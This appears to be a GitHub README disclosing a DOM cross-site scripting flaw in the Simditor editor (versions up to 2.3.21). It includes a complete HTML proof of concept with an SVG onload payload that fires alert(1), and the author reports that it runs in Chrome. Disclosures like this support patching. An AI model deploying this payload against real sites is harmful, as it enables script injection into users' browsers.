Skip to content

Latest commit

 

History

History
35 lines (28 loc) · 841 Bytes

README.md

File metadata and controls

35 lines (28 loc) · 841 Bytes
Raw

simditor

https://github.com/mycolorway/simditor DOM XSS

Download the Simditor source code(<=2.3.21).

We just need this three js. image

Edit a HTML FILE

<html>
<title>test</title>
<body>
<script type="text/javascript" src="./jquery.min.js"></script>
<script type="text/javascript" src="./module.js"></script>
<script type="text/javascript" src="./hotkeys.js"></script>
<script type="text/javascript" src="./simditor.js"></script>

<textarea id="editor"><svg><svg/onload=alert(1)></textarea>
<script>var editor = new Simditor({textarea: $('#editor')});</script>

</body>
</html>

Open the HTML in any browser.

*This is in my chrome，THE XSS PAYLOAD IS EXECUTE ! image